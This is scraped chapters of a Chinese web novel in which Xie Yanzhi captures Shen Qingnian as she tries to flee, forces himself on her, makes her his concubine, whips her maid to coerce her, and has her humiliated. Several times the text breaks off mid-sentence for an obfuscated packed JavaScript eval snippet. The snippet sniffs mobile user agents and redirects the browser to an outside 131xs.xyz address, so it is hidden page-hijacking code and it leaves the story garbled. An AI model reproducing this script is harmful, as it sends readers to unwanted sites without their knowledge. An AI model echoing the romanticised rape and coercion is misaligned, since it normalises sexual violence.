待她再抬头,就见谢宴之如同煞神一般堵在面前! 谢宴之正目光森森地盯着她!一步步朝她紧逼。 那眼神想要将她撕碎! 来不及思考,沈清念几乎是拔腿就跑,向着萧怀意的方向而去。 可惜,谢宴之上前一步,沈清念便撞在他的怀中,嘴巴也被他死死地捂住,发不出一点儿声音。 谢宴之的铁壁紧紧的箍住她,令她动弹不得。 此时,她看到城门外的一个小厮将什么东西递给了萧怀意,也挡住了他看向这边的视线。 “他的东西,我已经替你还给他了。”谢宴之的声音在耳边传来。 谢宴之又向城楼上的守城的侍卫使了个眼色。 沈清念就眼睁睁地看着城门在她眼前一点一点地关上。 同时关上的,还有城外的萧公子身影。 她的眼泪簌簌地掉下来。 萧怀意看着城门关上,再看看手上的耳坠,心中大感不妙。 他试着要进到城门,却被守门的侍卫拦在门外。 他手一挥,身后几十个随从就围了过来。 平安见状,忙拦住萧怀意:“公子,不可!” 这是京城,要是萧怀意出手,必定会被当成**。 萧怀意知道这都是谢宴之背后使的坏。 他也只能无力地捶在马车车壁上。 这边,谢宴之将沈清念放在马背上,一路风风火火带回了靖南侯府。 沈清念在他背上又打又捶,挣扎着要下来。 谢宴之只觉得心中有一团火要喷发出来,他一脚踢开观澜居的门,将人扔在床上。 沈清念得了自由,又要起身向屋子外跑。 谢宴之又起身将她抓住,狠狠抵到墙上。 “你别碰我!” 沈清念拼命捶打着他。 “我对你不好吗?你为何总想着要逃?” 谢宴之压抑着心中的怒火,想知道沈清念到底是怎么想的。 居然为了别的男人,给他下药! “好?那都是你自以为是的对我好!” 沈清念气到浑身都在发抖。明明就差一点点,她就能和萧公子一起离开京城了。 “那萧怀意就好了?” “是,萧公子是我见过最好的男子!他敬我护我,我就是要与他在一起!” 沈清念也不管不顾了,发泄着自己的不满。 “我难道就没护你?” 说着,便露出为她受伤的胳膊。 沈清念心下一狠,朝着那胳膊一口咬了下去。 她现在只想谢宴之赶紧放开她! 疼痛传来的一刹那,谢宴之觉得自己往日对她的疼惜都可笑至极。 他冷眼看了看被沈清念咬着的手臂,那是为了她受了伤的。 她竟然一点都不顾及。 “你竟然真的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这才松松垮垮地套上外袍,拿着腰带,打开门走了出去。 元青见到自己爷出来,满脸震惊。 他昨夜在廊下候了一夜,屋子一直传来清姑娘断断续续的哭声。 那哭声细细弱弱的,让人揪心。 直到天蒙蒙亮,那里头的动静才消停下来。 原以为清姑娘遭了大罪了。 没想到自己爷也没讨着什么好处。 他凑了上去,恭敬道:“爷。” 谢宴之往里瞥了一眼,沉声道:“找两个丫鬟来伺候。” “那可要叫清姑娘醒了?” 谢宴之想着榻上那张睡颜,想着昨夜折腾得那样晚,冷声道:“让她再歇会儿。” 此时,手臂上的痛感传了过来,谢宴之皱着眉,按住了手臂。 昨夜他不管不顾的,这伤又严重了些。 元青见状:“爷,我去叫大夫。” 谢宴之点点头,去了书房。 等元青带着大夫过来后,大夫有些难以置信。 只见他此刻胸襟敞开,脖子上和胸膛上都是抓痕。 手臂上除了旧伤,还有两排牙印。 看来,这世子爷昨夜的战绩不可谓不精彩。 这位清冷的世子爷,要么是对人家姑娘用了强,要么就是闺房之乐使了花样。 也不知是哪位女子,竟有胆这样对待他? 想到这儿,这大夫的脸都觉得有些微微发烫。 察觉到大夫探究的目光,谢宴之冷眼看着他。 那大夫便收回了目光,恭敬地替他处理了伤势。 又开了些滋补的方子,看着谢宴之黑沉的脸,他连叮嘱的话都不敢多说,便躬身退了出去。 大夫走后,谢宴之的脸色依然没有什么好转。 看着身上的抓痕,谢宴之心烦意乱。 怕别的男子与女子行房,都没有像他这样狼狈的。 元青见状,也不好说什么,只安静地立在一边。 沈清念睡到了晌午才堪堪醒过来。 刚一挪动身子,浑身便像散架了一般,传来的阵阵酸痛。 尤其是身下那处,更是传来了撕裂般的疼痛。 她才想起昨晚究竟发生了何事。 谢宴之的发狠与粗暴,还有自己那徒劳的挣扎。 昨晚那**的记忆像潮涌一般扑来。 她将脸埋进被褥里,肩膀不住地颤抖,又哭了好一会儿。 门外的丫鬟听到微弱的哭声,便是试着推开了门:“姨娘,您醒了?” 姨娘? 她听到她们这样喊她,心里更是难过。 猛地抬起头,声音沙哑:“不许这样叫我!” 那两个丫头你看看我,我看看你,有些茫然。 能做世子的姨娘,这是多好的福分呀。 怎么还哭上了? 也不许她二人这样叫她,连名分都不要了? 其中一个大一些的丫鬟站出来,柔声劝道:“姑娘,时辰不早了,奴婢伺候您洗漱吧?” 沈清念此时才觉得浑身黏腻,她是需要洗漱的。 她擦了擦脸上的泪痕,声音依旧带着哽咽:“我自己来,你们把热水打好就出去。” 见状,两个丫鬟也不敢多劝,只是将浴桶里倒了热水,又找了干净的帕子和衣裳放在屏风上,便识趣地退到了门外。 沈清念掀开被子,刚要下床,双腿却突然一软,整个人重重摔到了地上。 昨夜谢宴之太过发狠,她的腿也折腾得没力气。 门外的丫鬟听到声响忙推门进来,却见沈清念白皙的肌肤上,青青紫紫的痕迹,让人脸红。 她们也没想到平日里清冷如玉的世子,在这事上竟这样狠。 两个丫鬟赶紧将沈清念扶到了浴室。 沈清念进到浴桶里,朝二人摆摆手,浴室里就只剩下了沈清念一人。 她看着自己身上那些痕迹,拿起巾子,狠狠地在身上擦拭着。 像是要把那些属于谢宴之的痕迹,连同昨夜的**一起擦掉。 可那些痕迹深深刻在皮肤上,怎么擦都擦不掉,她擦着擦着,眼泪又忍不住落了下来。 她离家已经三月,仅仅三月,她还是走到了这一步,被谢宴之强迫着,做了姨娘。 为何会这样? 沈清念在里面待了近一个时辰,才换上一身雪白的衣裙出来。 桌上已经按照谢宴之的吩咐,摆上了滋补身体的饭菜和补品。 那个年长一些,叫红玉的丫鬟将面前的当归鸽子汤送到沈清念面前:“姑娘,多少用一些吧。” “这些补品都是世子特意让人准备的,让给姑娘好好补补身子。” 沈清念听到谢宴之三个字,一股无名的火气憋在胸口里。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“玷污?”沈清念的话像一把刀子**了他的心脏。 谢宴之冷嗤一声。 他与她做那样亲密的事,在她眼中,竟然成了玷污! 他何时受到过这样的羞辱? 沈清念是懂得如何让他颜面无存的。 “你可想好了说这话的后果?” 沈清念抬头看向他,见他脸色深沉得难看,周身的气压也沉得吓人。 睫毛不禁颤了颤,心中有了一分不安。 第一百三十九章这药膏,你那处伤用得上 谢宴之对门外的小厮吩咐道:“去将那个叫菱儿的抓过来!” 谢宴之低头看了她一眼,声音冷得发颤:“背主私逃,罚五十鞭!” 说着,便走了出去,坐在了桌前。 沈清念闻言,吓得慌忙下了榻,颤颤巍巍走到谢宴之面前:“菱儿是我的丫鬟,你凭什么罚她?” 谢宴之冷笑一声:“连你都是我的人了,我怎么就不能处置她了?”说着,给自己舀了一碗汤。 不再理会沈清念。 这时,外面已经传来了鞭子抽打皮肉的声音。 她脸色一白,几乎是跌跌撞撞地冲向门口。 看到菱儿被两个小厮按在廊下的长凳上,血渗出来红了衣衫。 “不要打了!住手!”沈清念嘶声喊道,想要冲过去护住菱儿,却被身旁的丫鬟死死拉住。 谢宴之仍然像个没事儿的人一样,吃着饭菜。 菱儿见沈清念被人死死拉住的样子,死死忍住不出声, 只是流着泪挤出一个笑来,示意她不要担心。 元青在长廊下,看着菱儿的样子,双手握成拳。 爷的命令他不可以违抗,让清姑娘去求爷,他也做不到。 若是没有自家爷,清姑娘早就与萧公子离了京城了,不可能遭遇昨夜那一遭。 思及此处,他偏过头,闭着眼睛,死死绷着身体。 沈清念看着菱儿身上的鞭痕越来越多,眼泪像断了线的珠子。 她甩开红玉和玉竹的手,一脸的决绝走向谢宴之。 轻轻福了一礼:“请世子放了菱儿。” 谢宴之放下手中的碗筷,用巾子擦了擦嘴。 她终于开窍了。 在这府里,他才是她不该得罪的人! 他瞥了她一眼,语气依旧冰冷:“她犯了错,就该受罚。” 他又顿了顿,话锋一转:“不过,既然你替她求情,就要看看你的诚意了。” 说着,将自己的碗推到了她面前。 沈清念心里一紧,她知道谢宴之想要什么。 她转身走到饭桌旁,拿起那碗还冒着热气的汤,舀了一勺,递到谢宴之嘴边。 谢宴之却偏过头,看着她:“这就是你的诚意?” 沈清念的嘴唇都快被咬出血了,她闭上眼睛,将那勺鸡汤喝了下去。 然后捧着谢宴之的脸,将鸡汤渡了过去。 温热的东西滚入喉中,谢宴之将沈清念拉到腿上坐着。 抚着她的脸问道:“你自己说,你是本世子的谁?能对本世子做这种事。” 沈清念的脸红得要滴出血来, 她咬了咬唇,声音细若蚊蚋:“我…我是世子的姨娘。” 她此刻只觉得**像潮水般将她淹没。 “那你可知本世子是你的谁?”谢宴之用手指抬起她的下巴。 见她眼睛湿漉漉的,鼻尖泛红,竟有一瞬间觉得自己好像做得过了些。 沈清念双手捏紧了衣袖,鼓足了勇气:“是夫…君。” 得了令人满意的回答,谢宴之心情大好,声音也软了些:“既是姨娘,便坐下陪本世子用饭吧。” 说着,他对着红玉吩咐道:“给姨娘盛饭。” 沈清念坐到凳子上,接过红玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444693|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递过来的碗,手里握着筷子,却怎么也咽不下饭菜。 她抬头看向谢宴之,小心翼翼地问:“那菱儿……” 谢宴之冷冷看她一眼:“本世子吃饭时,不想被无关的人打扰。” 沈清念低着头吃着碗里的饭菜,像在嚼沙子般,难以下咽。 眼前越来越模糊,最后,一颗泪珠滴进了碗中。 谢宴之见了,觉着今日对她的敲打也够了。 他慢慢悠悠放下了筷子,朝着门外道:“好了,将人送回去。” 元青赶紧上前,看到菱儿的背,冷眼看了一眼旁边的小厮。 他说了只在清姑娘看见的时候,真打几鞭,其余的都只是做做样子。 可菱儿的背还是渗着血,让他心疼不已。 顾不得许多,他赶紧将人送回房中,又拿了金疮药,让丫鬟给菱儿敷上。 沈清念悬着的心也终于放下,她放下了手中的碗筷,道了一声:“多谢世子。” 谢宴之眉头一皱,意味深长地看着沈清念。 沈清念明白过来:“多谢夫君。” 谢宴之伸出手,替她擦掉脸上的泪。 又从袖袋里掏出一个的瓷瓶,清了清嗓子,递给沈清念:“这个药膏,你那处的伤用得上。” 沈清念闻言,耳尖不受控制地泛红,昨夜的画面又浮现在脑海里,强烈的羞耻感让她不敢抬头。 谢宴之看着她泛红的耳尖,嘴角勾起一抹不易察觉的弧度。 沈清念伸手接过瓷瓶,又听得谢宴之说:“姨娘记得好生用着,过几日本世子可是要亲自查看的。” 第一百四十章 折腾太久 而昨夜,萧怀意一整晚都没有睡下。 他坐在案前,眉头紧锁。 望着眼前明明灭灭的烛火,脑海中不断浮现沈清念那带着泪痕的脸。 她怎么会被谢宴之抓住了呢? 他明明给了她一包药粉啊,以她的聪慧,定能让谢宴之毫无知觉地喝下去。 到底是哪里出岔子?萧怀意有些不解。 他又负手来到窗前,看向窗外那浅浅的鱼肚白。 不知道昨夜沈姑娘如何了,谢宴之有没有恼羞成怒?沈姑娘有没有受委屈? 这些念头在他脑海中翻来覆去,令他坐立难安。 前去打探消息的人还没有回来,萧怀意推开门,决定亲自去靖南侯府看看。 菱儿就站在门口,满眼焦急:“萧公子,我与你一道回去。” “小姐一人留在府中,我不放心。” 大公子平日里对小姐虎视眈眈,要是昨夜被大公子抓住,他会不会? 二人一道去了靖南侯府。 元青来报时,谢宴之刚从屋子里走出来。 谢宴之冷哼:“来得倒早,可惜已经迟了。” “且让他等着。” 是矣,谢宴之现在才来见萧怀意。 “怀意,你来了。”谢宴之大步走到上首的椅子上坐着,为敞着衣襟,脸上满是春风得意之色。 “昨夜折腾太久,让你久候了。” 谢宴之嘴角带着一丝若有若无的挑衅。 萧怀意看到谢宴之胸膛上和脖子上的抓痕,目光一沉,手攥成了拳。 饶是他没有碰过女子,也知道那是什么。 菱儿看着谢宴之,不知他为何穿着这样随意,甚至有些像浪荡子。 “世子,我是带菱儿姑娘回来的。” “菱儿姑娘昨日在西市遇到了歹人,被我搭救,今日特意送回府中。” 谢宴之看向元青,元青便过来将菱儿带到了书房外候着。 “不知沈姑娘现在何处?” 谢宴之端起茶杯,轻轻抿了一口,笑了笑:“她啊?” “昨夜她缠我缠得紧,我又粗鲁了些。” 他又理了理袖子,带着几分得逞: “她现在还下不了床。恐怕今日是不能来见怀意了。” 说完,还带着几分戏谑看着萧怀意。 明明他昨日还差点将人带走,沈清念现在却已经是他的人了。 他想看看萧怀意到底是什么反应。 那日在红袖山庄,沈清念负气跑出屋子后,谢宴之虽然心烦,却也还是让暗卫跟着她。 没曾想竟碰到沈清念与一个男子在假山幽会。 暗卫稍加描述,谢宴之就知道那人是萧怀意。 之后的事,谢宴之只要想查,就没有**的。 他也想看看他才为沈清念受伤,她会不会真的拿那包药给他。 没想到,沈清念这次仍旧对他毫不心软。 好在,他这一次没有再像从前那样怜惜她!终是将她变成了他的人。 谢宴之的每一字都像针扎在了萧怀意的心上。 他口中的沈姑娘与他的亲密,他是一个字都不会信。 可是又让他心中难受。 因为有句话,谢宴之没有说错。 那痕迹越清晰,证明他昨夜越是粗鲁,逼得沈姑娘不得不反抗! 萧怀意眉头紧皱,心中有些后悔。 若他没有听沈姑娘的,而是亲自来府外接应她,或许她就不会被谢宴之抓了。 昨夜,沈姑娘一定吓坏了。 萧怀意强压着怒意,没有当场发作。 只是摆摆手道:“既如此,萧某就不叨扰了。” 说罢,便转身要离去。 “怀意,以后都不要来见她了吧。” 谢宴之眼神一冷,带着些警告:“她如今已是我的姨娘,不便再见外男。” “若你还是这般纠缠,可别怪我不念过往情分。” 萧怀意知道,在这京城,谢宴之动动嘴,他就走不出这靖南侯府。 他攥紧了拳,眼神变得坚定转过身,看了谢宴之一眼: “你既让沈姑娘做妾,那你就永远赢不过我。” 说完,没有理会他,径直出了靖南侯府。 平安见萧怀意出来,替他掀起帘子。 “公子,沈姑娘如何了?” 萧怀意摇了摇头,谢宴之不让他见沈姑娘,又故意说出那些话刺激他。 沈姑娘此刻一定很需要他。 萧怀意抬出袖子里的那对耳坠。 谢宴之派来的人说这事沈清念还他的东西。 可这耳坠根本就不是他母亲的遗物。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444694|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那钥匙,还在沈姑娘手上。 沈姑娘特意给了这对耳坠,是想告诉他,那时她被逼无奈。 菱儿也说了,沈姑娘在云州时,时常想着以后能去通州,再与他相遇。 这份情谊,他怎么能辜负? 萧怀意捏着手中的耳坠,下定了决心,无论如何,他都要见沈姑娘一面。 亲口向她表明心意,问问她还愿不愿意与他在一起。 而谢宴之听到萧怀意的话,眼神骤然变冷。 他的意思是他不会放弃沈清念!即使沈清念已与自己有了肌肤之亲。 他也毫不在意? 萧怀意倒是令他有些刮目相看了。 沈清念手中拿着谢宴之给的瓷瓶,觉得羞耻极了。 转手便将瓶子放在了枕头下。 菱儿昨夜整宿没睡,又刚刚遭了罪,现下也睡着了。 沈清念独自坐在榻上想了许久,她心中有些迷茫。 如今她已经与谢宴之这般了,也没有颜面再念着萧怀意,想着萧怀意。 萧公子对她,也是失望的吧。 但她又十分清楚自己的内心,饶是这般,她也不愿留在侯府,做这人人艳羡的妾室。 就这样一直坐着,直到晚膳时,谢宴之来了,她才堪堪回过神来。 “方才在想什么?”谢宴之过来,从身后抱住她。 将头埋在她的颈窝处,轻轻摩挲着。 沈清念感受到谢宴之的怀抱,身子猛地绷紧,手紧紧捏住了衣襟。 “你在怕我?” 谢宴之感受到怀中人的僵硬,淡淡开口。 沈清念声若蚊呐:“没有。” 她现在不敢惹怒谢宴之,他的手段她已经见识过了。 只能强忍着不适,轻轻道:“没有。” 谢宴之将人转过来,看她低着头,睫毛轻颤,眼神有些闪躲,便知晓她是在嘴硬。 不过他不在乎,日子久了,她总会习惯的。 沈清念陪着用了晚膳后,谢宴之搂着她躺在被窝里。 温香软玉在怀,谢宴之渐渐有些躁动起来。 “今日可擦了那药了?”他凑到她的耳边,有些暧昧道。 沈清念羞得满脸通红,却见谢宴之已经将瓷瓶拿在了手里,一把按住了她:“要不为夫来帮你擦?” 第一百四十一章 只觉得身下一凉 沈清念急得挣扎起来,攥紧了被子慌忙道:“我…我已经用过药了。” 谢宴之的手顿了顿,接着又用指尖在她的腰侧摩挲了起来,轻轻哄着她:“那就再擦一次,好得快些。” 话音未落,沈清念只觉得身下一凉,双腿被隔开,动弹不得,又见谢宴之用手指沾了些药膏,就要将手伸过去。 她紧紧抓着褥子,死死闭着眼睛。 谢宴之的动作很轻,指尖带着药膏的清凉,却让她浑身的肌肤都泛起细细密密的战栗。 谢宴之见她的脖颈都泛起了一层薄红,嘴角勾起一抹得逞的笑。 屋外月儿弯弯挂上了枝头,屋内身后传来了均匀绵长的呼吸。 沈清念轻轻将谢宴之搭在腰间的手抬了起来,身子往边上挪了些,尽量隔他远一些。 她此时才知,原来与人同床共枕,竟是如此难捱。 眼泪顺着她的眼角滑落,打湿了软枕。 谢宴之感受到身旁人的细细啜泣,并未。 只是又霸道地将手搭在沈清念身上,好似在安慰她,又好似在告诉她不许抗拒他。 谢宴之知她心中委屈,他未经她的同意,就强要了她。 可他就是要强求她。 她不知道,这一日,他等了有多久。 沈清念感受到腰间那只手,压着她是那样重,让她有些喘不过气来。 就像谢宴之对她做的这些事一样,都让人感到窒息。 想到这,她的眼泪流得更凶,再未发出一丁点儿声音 两人就这样相拥而眠。 天亮时,谢宴之已经不在身侧。 沈清念只觉得紧绷了一夜的身子现在是浑身舒坦,心里也松了一口气。 红玉伺候沈清念梳洗后,又将饭菜端了上来。 沈清念拿起筷子,正欲夹起一只翡翠虾饺。 “清姨娘且慢!” 门外一个声音传来,沈清念侧头看去,是刘麽麽走了进来。 红玉行了一礼:“刘麽麽。” 沈清念也起了身:“刘麽麽。” 刘麽麽嘴巴一撇,将手上的戒尺和女则女戒放在桌上。 “清姨娘既已是大公子房里的人,有些规矩还是要学的。” 前儿个夜里观澜居动静太大,老夫人稍微一打听就知道发生了什么。 心里是又喜又气。 喜的是宴哥儿终于是开了荤了。 气的是这承宠之人是沈清念。 那可不是个安分的主儿,心气儿又高,怕不会轻易就范。 这不,得了老夫人的吩咐,刘麽麽特意过来看看是怎么个情形。 结果在屋子外遇见大公子,那脖子上和脸上都有几条抓痕。 她便回禀了老夫人。 老夫人气地将拐杖重重敲在地上,难怪今早宴哥儿派人说这几日都不来请安。 “那个不是好歹的,竟将我靖南侯府的世子弄成那副狼狈模样。” 老夫人目光一冷,看着她道:“今个儿起,就由你亲自教导她规矩。” 她又顿了顿,带着几分不容质疑的威严: “定要将人训得服服帖帖,不能再委屈了宴哥儿。” 刘麽麽得了吩咐,这才带着十分的的底气过来。 打算好好教一教这位清姨娘规矩。 红玉和玉竹面面相觑,眼里都是担忧。 瞧刘麽麽这架势,恐怕不是只想教规矩那样简单的。 她们两个现在被派到这个院里来,就是照顾清姨娘的。 与清姨娘,那是一荣俱荣,一损俱损。 再看清姨娘现在脸色发白,眼下乌青,早膳还未用,哪有力气学规矩呢? 怕是要把人给累坏的。 红玉也是见识过世子如何对待清姨娘的。 世子对姨娘的那股霸道不就是想逼着清姨娘就范吗。 这说明他心里是极喜爱清姨娘的。 不然,就凭姨娘那些话,早让世子拉出去杖毙了。 红玉走过去,为刘麽麽倒了一杯茶,壮着胆子问:“刘麽麽,姨娘现在身子不适,能不能用了膳再学规矩?” 刘麽麽接过茶水,瞥了她一眼:“主子没规矩,丫鬟也没规矩。” “你们两个该罚!现在就去外面院子里跪着,好好反省反省!。” 说着,便将茶杯重重放在桌上,茶水都溅出来几滴。 红玉和玉竹见状,也不敢反驳。 只是将沈清念扶到凳子上,担忧地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“怎么这么不中用?”刘麽麽看着沈清念的狼狈样,一脸嫌弃。 心道大公子怎么就看上了这么个主。 脾气硬,心气儿高,还柔弱不堪。 刘麽麽看了一眼沈清念的腰臀,摇了摇头,这身子骨虽说曲线玲珑,给男人看看还是行的, 不过始终还是有些纤弱,看起来像个没福气的,日后想诞下子嗣,怕是难了。 她嫌弃地看了沈清念一眼,然后粗鲁地一把将人提了起来,又将书重重放回了她头上。 第一百四十二章 迎合他 沈清念额上都出了些冷汗,和碎发黏在一起,难受得紧,眼前越来越模糊。 刘麽麽还在耳边叨叨:“日后,你要日日跪在榻前伺候世子与主母梳洗,这第二条就是要跪得。” 说着,刘麽麽又命沈清念将书册顶在头上,跪在地上。 又在桌案上点了一根线香。 “清姨娘就先跪上一炷香吧。” 她自己倒是坐在椅子上,喝起茶来,时不时用眼角的余光瞥一眼沈清念。 见她脊背挺得直直的,眼神里满是不屑。 心道看你能挺多久!老夫人可说了,定要让人服服帖帖。 这样子看着是有些恭敬,却还是显得傲气得很,远不是她们想要的那种妥帖。 沈清念前夜初经人事,腰还酸软得不行。 没跪一会儿,已是腰酸腿疼。 她微微扭了扭腰,想要缓解一下酸疼。 却不料刘麽麽见她已经有些跪不住,起身用戒尺狠戳了一下她的腰:“还请清姨娘不要塌腰,这样显得极不恭敬。” 沈清念被迫挺直了腰,再次脊背绷得笔直,脸上努力维持着恭敬的神色。 她心里却早已将谢宴之咒骂了千百遍。 若不是他,她何至于落到这般境地? 若不是他,她也不会被老夫人记恨,被刘麽麽这样折腾。 她咬着牙,目光落在桌案上燃着的线香上,看着那一点火星慢慢向下移动,心中已是将谢宴之咒骂了一遍。 她咬着牙关,看着面前的线香燃尽,心中终于舒了一口气。 “清姨娘请起吧。” 沈清念听了这话,用手撑着地,才踉踉跄跄站了起来,只觉得膝盖疼得紧。 刘麽麽看着沈清念那摇摇欲坠的样子,脸色更冷,目光看向了桌上的吃食。 “清姨娘过来用饭吧。” 沈清念强忍着腿上的疼痛,双手拢着袖子,神色如常地向桌边走去。 刚刚在凳子上坐定,刘麽麽就冷不防端起一碗汤泼在沈清念脸上。 汤水顺着她的脸,滴到衣裙上,显得狼狈不堪。 沈清念用手擦了擦脸,满是震惊地看着刘麽麽。 从前父亲的妾室进门,也会学规矩,却从没有这般折辱人的。 这一刻,她觉得自己连贱妾都不如,一阵阵**感汹涌而来,眼眶终于泛了红。 刘麽麽见状,带着些不满:“清姨娘怎么还哭上了?” “这些都是你做为姨娘的本分!哪来那么多的委屈!” 说着,她将空碗往桌上重重一放,又盯着沈清念那模样,眼里有了些得意。 总算是把这她这股子傲气弄散了些。 今日也能向老夫人交差了。 “这碗汤便是老奴教你的最后一得。” “日后不管主子如何待你,你都要受得,不能有半句怨言。清姨娘,你可记住了?” 沈清念攥紧了衣裙,尽量掩盖着自己心中的愤怒。 否则,今儿这刘麽麽不会轻易饶了她。 万一再到老夫人面前嚼个舌根,往后的日子总会麻烦许多。 她低眉垂首,轻声回道:“妾记住了。” 样子看着实在是恭敬,又带着一丝怯弱。 刘麽麽看着,这才满意地点了点头。 “老奴就不打扰姨娘用膳了。” 说完,刘麽麽转身走到了外面。 红玉和玉竹见刘麽麽神色里有些得意,心里都有些不安。 刘麽麽这遭就是来给姨娘下马威的,她越是得意,那姨娘就越是遭罪。 刘麽麽走到二人面前,脸色又变得严肃起来,冷声道:“你们两个是清姨娘的丫头,若还是任由她耍性子,不好好她伺候大公子,我定禀了老夫人,重罚你们。” 红玉和玉竹连忙恭顺地回道:“奴婢定好好劝解清姨娘,伺候好大公子。” 刘麽麽这才转身出了观澜居。 待刘麽麽走了以后,红玉和玉竹赶紧进到屋子里,见到沈清念那狼狈的样子,心里都有些急了。 知道刘麽麽是来敲打姨娘的,却没想到竟是这样辱人的法子。 红玉正要上前,就听到门外传来一声:“小姐!” 菱儿一醒过来,就拖着背上的伤,过来找自家小姐。 却看到沈清念这样狼狈,眼泪不停地往外滚落:“小姐,是谁给你泼成这样?” 沈清念苦涩道:“只是学了会做妾的规矩。我没事。” 菱儿听到做妾两个字后,心中更是难过。 小姐千躲万躲,还是没能逃过这一劫。 她用手擦了擦眼泪,哽咽道:“小姐,我来服侍你洗漱。” 沈清念朝菱儿点点头。 红玉见状,知道菱儿和沈清念主仆情深,便识趣儿地拉着玉竹退到了屋子外。 待沈清念进到浴桶后,菱儿才看到沈清念身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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好早日将她训得服帖。这种把戏,她一看就知道了。 可她却不能将怒气发作出来。 唯恐谢宴之一个不高兴,又拿旁的人来威胁她。 最后,沈清念只能压下怒火,淡淡说了一句:“妾晓得。” 见她明显有怒气,却能在他面前隐忍不发,谢宴之心中愈发满意。 看来祖母说得有几分道理,让刘麽麽来磋磨磋磨她,她才会知道迎合他,令他舒心。 想到此处,谢宴之低下头,在她的颈间轻轻吻了一下。 一双大手又摩挲至腰间,语气里带着些暧昧,轻声道:“你的伤,可好些了?” 第一百四十三章 给夫君看看 听到这话,沈清念浑身发冷,颤抖道:“还没好。” 谢宴之却一把将人打横抱起:“给夫君看看。” 说着,便迈开长腿往床榻走去。 夜里,雨打芭蕉,直到半夜,屋子里还隐约传出女子求饶的声音。 细碎的呜咽被厚重的帐幔挡着,若有若无地飘到窗外,又很快被清晨的薄雾吹散。 第二日刘麽麽一早又来了观澜居。 其实她本不想来这儿的。 沈清念不过是个卑贱的妾室,既无家世背景,又无生育之功,凭什么住进主院的观澜居? 这要是传出去,岂不是乱了尊卑规矩? 更重要的是,她怕撞见谢宴之。 那位大公子对沈清念上有多上心,她都是看在眼里的。 万一他护着人,自己想按老夫人的意思“调教”,反倒落个吃力不讨好的下场。 可老夫人的吩咐不敢违,她只能硬着头皮往前走。 刚到观澜居的朱红院门口,就见一道玄色身影从屋内出来。 晨光透过云层洒在男人身上,勾勒出他挺拔颀长的身形。 可那张俊朗的脸上却覆着一层寒霜,墨色的眸子里更是没半分暖意。 “大、大公子!”刘嬷嬷心头一紧,连忙躬身行礼,脸上挤出一些的笑来。 谢宴之居高临下地看着她,薄唇微启:“刘嬷嬷这么早,就急着来调教我的妾室,真是辛苦了。” 刘嬷嬷一听这话,只当是大公子认可了自己的差事。 脸上的笑瞬间堆得更满,眼角的皱纹都挤在了一起:“大公子放心!老奴一定好好教清姨娘学规矩,保管叫她往后用心服侍大公子,做好妾室的本分。” 谢宴之微微颔首,指尖漫不经心地摩挲着腰间的玉佩。 微微朝身后的小厮抬了抬下巴:“搬把椅子来,给刘嬷嬷放在院中。” 又示意刘麽麽坐下:“刘嬷嬷且先坐着,待她起身了,再来跟你学规矩。” 谢宴之说完,便转身进了屋子。 刘嬷嬷脸上的笑容瞬间僵住。 院中空荡荡的,只有她孤零零地坐在那把冰冷的梨花木椅子上。 四周的小厮们端着水盆、拿着洒扫工具经过,眼神都若有似无地往她这边瞟,交头接耳。 窃窃私语声像蚊子似的钻进她的耳朵里。 “这刘嬷嬷怎么坐这儿了?” “大公子和清姨娘还在屋子里,她怎么也不害臊,一直盯着主屋看什么?” 刘嬷嬷听了这些话,脸上一阵红一阵白,又气又窘,可偏偏不敢发作,也不敢起来。 这是大公子赏的,不坐也得坐。 她不禁在心里暗道命苦,接下了这桩苦差事。 大公子这哪是在体贴她辛苦,分明是在罚她! 更难熬的是,日头渐渐升高,毒辣的阳光直直晒在她身上。 她坐的地方,连棵能遮阴的树都没有。 身上的青缎褂子很快就被汗水浸透,黏在背上又闷又热。 额头上的汗珠也顺着脸颊往下淌,连帕子都擦不过来。 守在门口的红玉和玉竹看着刘麽麽这副囧样,想笑又不敢笑得太明显。 玉竹用帕子捂着嘴,凑到玉竹耳边小声说:“你瞧刘嬷嬷那样,活像个被晒蔫的茄子。” 红玉点点头,心里也觉着解气,还好今儿有大公子护着姨娘,不然姨娘又要遭罪了。 屋内,谢宴之刚走进卧房,就见沈清念正撑着胳膊想从床上坐起来,那乌黑的长发散落在腰间,脸色还有些苍白。 